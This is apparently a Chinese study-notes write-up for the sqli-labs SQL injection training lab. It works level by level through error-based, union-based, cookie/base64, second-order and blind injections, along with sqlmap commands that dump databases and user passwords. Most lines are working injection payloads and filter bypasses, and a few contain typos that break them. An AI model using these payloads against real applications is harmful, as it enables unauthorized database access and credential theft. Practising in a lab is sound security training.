sqlilabs 26

z这关神奇的过滤了空格img

试一试报错注入

?id=1’||updatexml(1,concat(‘:’,(select database())),1)||’1’=’1

?id=1’||updatexml(1,concat(‘:’,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=’security’))),0)||’1’=’1 (前头有个问号 然后information or双写 空格的位置用)替代 获取所有表名字 )

?id=1’||updatexml(1,concat(‘:’,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=’users’))),0)||’1’=’1 然后获取列名

sqlilabs 25 25a

a 这关过滤了or 和and 如果末尾的闭合要用and‘1’=‘1 就需要吧and双写 anandd

或者直接用–+也行

order 的or也会被过滤 那么就写成oorrder

?id=-1’ oorrder by 3 –+ 测显位

?id=-1’ union select 1,2,database() –+ 爆数据库

?id=-1’ union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=’security’ –+这边information的or也要双写 爆表名

?id=-1’ union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=’users’ –+ 爆字段

?id=-1’ union select 1,2,group_concat(username,0x7e,passwoorrd) from users –+ 爆数据

0x7e 是显示~这个符号用的 也可以不打进去

25a和25差不多就没有了单引号

sqli-labs less 24

a这关就在这里插入图片描述

给了个这样的界面 从创建新用户那点进去然后新建一个username为admin’# 密码随便

记住就行待会

在这里插入图片描述

用admin’#登录

然后修改密码 就会发现改的其实是admin的密码 而不是admin’#的 就很神奇

sqlilabs 23

z这关就很神奇了 末尾的闭合符号– 和#均被过滤 那么只好用单引号闭合 因为单引号里面的不会被执行 所以用and 闭合 ?id=1’ and ‘1’=’1

测试回显 ?id=-1’ union select 1,2,3 and ‘1’=’1 显示的消息是 your login name:2 your password:1

那么就从select1,2,3的2那边入手

?id=-1’ union select 1,database(),3 and ‘1’=’1 得到库名 security

?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3 and ‘1’=’1 爆表明

?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),3 and ‘1’=’1 爆列名

?id=-1’ union select 1,(select group_concat(username,password) from users),3 and ‘1’=’1 查数据

sqlilabs 20 21 22 手动注入

首先20关过滤了post注入 就只好从cookie入手(用火狐的插件hackbar)

先登陆一下获取cookie信息 image-20210131141955567

稍微知道一下cookie的格式 然后判断为字符型注入

uname=aaa’ ordey by 4# 获取位数 数字一个个尝试

image-20210131142538658

到出现这种情况

然后union语句了

uname =aaa’ union select 1,2,3 #

uname=aaa’ union select 1,2,database() # (获取当前使用的数据库名字) 执行后是security

uname=aaa’ union select 1,2,group_concat(table_name) from informatin_schema.tables where table_schema=‘security’ # (获得所有表名)

uname=aaa’ union select 1,2,group_concat(columns_name) from information_schema.columns where table_schema=’security’ and table name=’users’ # 获得字段

uname=aaa’ union select 1,2,group_concat(username,0x7e,password)from security,users # 获得字段的数据

或者用这个语句uname=aaa’ union select 1,2,group_concat(concat_ws(‘-‘,id,username,password)) from users #

21关稍微变一下用base64 编码一下uname= 之后的内容即可和20一样的 注入符号方式也不一样 构建‘)这样的注入符号 22也是一样就注入符号为” 双引号 然后也是base64 编码一下

sqlmap注入前十关

1-10 sqlmap.py -u “ “ –current-db 或者dbs 获取所有数据库
sqlmap.py -u “ “ -D (输入current获取到的)–tables
sqlmap.py -u “ “ -D (输入current获取到的)-T (tables获取到的) –columns

sqlmap.py -u “ “ -D (输入current获取到的)-T (tables获取到的) -C (columns获得的) –dump

然后第十关提高一下level –level 2

page十一关手动注入 十二也可以

先判断注入类型

用火狐下载个插件hackbar

然后 post data那边输入 uname=admin(这个后面输入一个符号之类的判断注入类型)#&passwd=admin&submit=Submit (十二关是双引号 就加上“))

这关的就有提示单引号注入 那么uname=admin’ #&passwd=admin&submit=Submit 输入这段

登陆成功 然后uname=admin’ order by 2(这个数字可以慢慢试看到多少的时候显示登陆错误)#&passwd=admin&submit=Submit 这个是用来的出显示位数的

接下来使用联合查询语句 union select 来进行爆破,使用union select的时候要注意,输入的unname必须是一个不存在的,,否则将会输出不出来

uname=aaa’ union select 1,2#&passwd=admin&submit=Submit 比如这样子

uname=aaa’ union select user(),version() #&passwd=admin&submit=Submit这句爆出使用者和数据库版本

之后操作就和第一关是一样的都是那些语句

sqlmap抓包功能

a老样子 win+r cmd sqlmap.py -u “想抓哪关的包的地址例如:http://localhost/sqli-labs/Less-11/" –forms –thread 10 -dbs

这个会出现一句话例如这样Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected):

按照上面的要求就在后面输入 uname=aaa(随便)&passwd=aaa(随便)&submit=Submit

也可选择默认方式后面加个–batch

这速度也挺快的

page less 11-20

a到十一这些都是post型的可用sqlmap 粗暴的方式解题 用火狐打开 然后f12选择网络那个选项里头的有个post那项右键复制请求头

然后随便生成一个文本文档粘贴进去

再在网页那边随便输入用户名密码

再次复制 这次复制post数据像这样子的uname=aaa&passwd&submit=Submit//&这个符号要自己加

之后win+r cmd sqlmap.py -r “刚才那个文本文档的地址\mingzi.txt” –current-db –batch

爆出当前数据库 之后sqlmap.py -r “刚才那个文本文档的地址\mingzi.txt” -D 库名 –tables –batch

库名表明 爆表名字是需要 -C 表明 –dump 加上个dump

ps 如果觉得速度慢点话加个 –thread 10 有的关如果爆不出来提高level –level 2-5选一个

盲注

?id=1’ and length(database())=n %23 n从0到无穷大 猜出数据库长度

?id=1’ and left(database(),1)>’a‘–+ 猜数据库首字母 显示you are in 表示该字母还在输入的字母后假设输入一个显示you are in的下一个什么都没显示 则为此 第二第三位一次猜下去(猜库名)

  • 利用substr() ascii()函数进行尝试

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+ 加黑数字更改 此为ascii码对照数字对应字母 也是和猜库名一样的操作 这猜第一个库的第一个字符 然后一个一个改 猜出第n个库的第n个字符